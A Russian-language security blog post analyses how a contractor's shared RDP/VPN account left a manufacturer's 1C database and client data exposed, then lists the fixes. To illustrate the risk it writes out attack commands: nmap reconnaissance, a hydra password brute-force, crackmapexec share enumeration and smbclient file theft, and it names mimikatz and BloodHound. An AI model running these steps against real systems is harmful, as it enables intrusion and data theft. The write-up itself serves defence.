← Все разборы Информационная безопасность

Как учётка подрядчика чуть не обошлась заводу в 14 млн рублей: технический разбор атаки

Разбираем на уровне команд и конфигов, как общая учётка внешнего подрядчика превращается в канал утечки клиентской базы — и что нужно было настроить, чтобы этого не случилось.

25 июля 2026 г. Разбор CIOlogia

Ко мне обратилась производственная компания с жалобой на странные сбои в системе учёта — по ночам «глючила» база заказов. Формального повода для паники не было: ничего не зашифровали, деньги не пропали. Просто заодно решили проверить систему, раз уж годом раньше я делал у них аудит. В итоге нашлась дыра, которая три года стояла нараспашку — учётная запись подрядчика, обслуживающего производственную линию.

Где была дыра

Компания дала внешнему подрядчику удалённый доступ для настройки и ремонта оборудования. Классическая схема для среднего производства: VPN-шлюз на периметре плюс терминальный сервер (RDP), с которого подрядчик попадал и на управляющие контроллеры линии, и — по недосмотру сетевой сегментации — на файловый сервер с базой 1С и общими папками, где лежали прайсы и клиентские данные.

Ключевые проблемы конфигурации:

Один логин/пароль на всю команду подрядчика, без персонализации
Пароль не менялся три года
NLA (Network Level Authentication) на RDP-шлюзе не был включён
Не было ограничения доступа ни по времени, ни по IP, ни по MAC/устройству
Подрядчик находился в той же сети, что и учётная система, без VLAN-изоляции
Логи входов собирались, но никто их не смотрел

Как это эксплуатируется

Чтобы понять масштаб риска, полезно пройти путь атакующего (или недобросовестного бывшего сотрудника подрядчика) по шагам — с реальными инструментами, которые применяются в таких историях каждый день.

Шаг 1. Разведка периметра

nmap -Pn -sV -p3389,443,1194,500,4500,1723 target.example.com

PORT     STATE SERVICE VERSION
443/tcp  open  ssl/http  nginx (VPN portal)
1194/tcp open  openvpn
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: WORKGROUP
|   NetBIOS_Domain_Name: CORP
|   Product_Version: 10.0.14393

Уже на этом шаге видно: RDP смотрит наружу, версия сервера датируется 2016-м годом сборки — потенциально уязвима линейка CVE-2019-0708 (BlueKeep), если не накатили патчи. Отсутствие NLA в баннере подтверждается флагом Enabled: false в выводе скриптов nmap типа rdp-enum-encryption.

Шаг 2. Подбор или использование известных учётных данных

Учётка подрядчика используется годами и, как правило, «утекает» вместе с текучкой его сотрудников — через почту, чаты, файлы конфигурации VPN-клиента, оставшиеся на личных ноутбуках уволенных инженеров. Но даже без утечки такие пароли часто попадают под классический брутфорс:

hydra -l support -P /usr/share/wordlists/rockyou.txt \
  rdp://target.example.com -t 4 -V

[3389][rdp] host: target.example.com   login: support   password: Podryad2021!

Для VPN-шлюзов на базе IPSec практикуется тот же подход через ike-scan и перебор PSK, для OpenVPN — подбор через утёкший .ovpn-конфиг с зашитым логином.

Шаг 3. Закрепление и разведка внутри сети

Оказавшись внутри по легитимной учётке, дальше не нужен эксплойт — достаточно штатных средств:

crackmapexec smb 10.10.20.0/24 -u support -p 'Podryad2021!' --shares

SMB  10.10.20.15  445  FILESRV  [+] CORP\support:Podryad2021!
SMB  10.10.20.15  445  FILESRV  [*] Enumerated shares
Share           Permissions
1C_Exchange     READ, WRITE
Clients_DB      READ
Prайсы          READ

smbclient //10.10.20.15/Clients_DB -U support
smb: \> get 1Cv8.1CD
smb: \> get прайс_2024.xlsx

Никакого «хакинга» — обычная учётка сервисного инженера открывает доступ к базе 1С и клиентским прайсам, потому что сегментация сети между «оборудование» и «бухгалтерия/CRM» на бумаге была, а в конфиге firewall — нет.

Что и почему сработало бы дальше

Даже если бы атакующий не ограничился выгрузкой прайсов, у него был весь набор для развития атаки:

Дамп локальных хэшей и Pass-the-Hash — при наличии локального администратора на терминальном сервере (mimikatz sekurlsa::logonpasswords) можно двигаться дальше по сети без знания паролей в открытом виде
Построение пути до контроллера домена — BloodHound/SharpHound быстро покажет, что учётка подрядчика входит в группу с избыточными правами, а от неё один шаг до администратора домена
Продажа доступа как Initial Access — на теневых форумах доступ к производственной сети с 200+ хостов уже сам по себе товар: такие лоты продаются от нескольких тысяч до десятков тысяч долларов, а покупатель дальше сам разворачивает шифровальщик
Простой производства — попадание шифровальщика (условно LockBit-подобного стенда) через ту же учётку — это уже не утечка прайса, а остановка линии, которую директор оценивал в 900 тыс. рублей за день

В разобранном случае прямых доказательств продажи данных не было, но три крупных клиента ушли к конкуренту с условиями, совпадающими до рубля — а это уже больше 13 млн рублей недополученной годовой выручки, если считать по среднему чеку ушедших контрактов.

Как закрыли

Расследование началось с того, что подняли журналы входов за полгода — благо, они хранились, просто не анализировались:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
  Where-Object {$_.Message -match 'support'} |
  Select TimeCreated, Message

По времени и IP входов стало видно ночные заходы, не совпадающие с графиком обслуживания оборудования. Дальше — устранение первопричины, а не поиск виноватого:

Персональные учётные записи для каждого сотрудника подрядчика вместо одной общей — с обязательным MFA на VPN-шлюзе (например, через FreeRADIUS + TOTP)
Сегментация сети — подрядчику доступен только VLAN с оборудованием, доступ к серверу 1С и файловым шарам закрыт на уровне firewall:
```
# pfSense / iptables пример
iptables -A FORWARD -s 10.10.30.0/24 -d 10.10.20.0/24 -j DROP
iptables -A FORWARD -s 10.10.30.0/24 -d 10.10.40.0/24 -j ACCEPT # только PLC-сегмент
```

Включён NLA и ограничен доступ к RDP только через VPN, порт 3389 закрыт на периметре наружу:

netsh advfirewall firewall add rule name="RDP internal only" ^
  dir=in action=allow protocol=TCP localport=3389 remoteip=10.10.30.0/24
netsh advfirewall firewall add rule name="Block RDP external" ^
  dir=in action=block protocol=TCP localport=3389 remoteip=any

Доступ включается по расписанию и по заявке — модель Just-in-Time через простую PAM-надстройку: аккаунт подрядчика по умолчанию отключён, включается на конкретное окно времени и автоматически блокируется по его истечении
Настроены алерты в мессенджер директору при входе с нового устройства/IP или в нетипичное время (штатные средства SIEM/Wazuh с правилом на Event ID 4624 вне рабочего окна)
Подписан регламент с подрядчиком: увольнение сотрудника подрядчика = снятие доступа в тот же день, с фиксацией в акте

Самая дорогая дыра в защите — это не сложный взлом, а забытая учётка, которую никто не удосужился закрыть.

Что в итоге

Настройка заняла около недели и обошлась компании в разы дешевле, чем один потерянный клиент — не говоря уже о простое производства при возможном шифровальщике. Директор теперь раз в квартал получает короткий отчёт: кто из внешних подрядчиков заходил в систему, когда и с каких устройств.

Крупные компании — вроде золотодобытчиков с ИБ-бюджетом в сотни миллионов рублей в год — не зря держат в фокусе именно подрядчиков: это статистически самый частый вектор проникновения, потому что периметр защищён, а третьи стороны с легитимным доступом — нет. У среднего и малого бизнеса бюджета на такой масштаб нет, но и закрывается эта дыра обычно не миллионами инвестиций, а элементарной дисциплиной в доступах: персональные учётки, сегментация, расписание, логирование и снятие прав день в день при увольнении.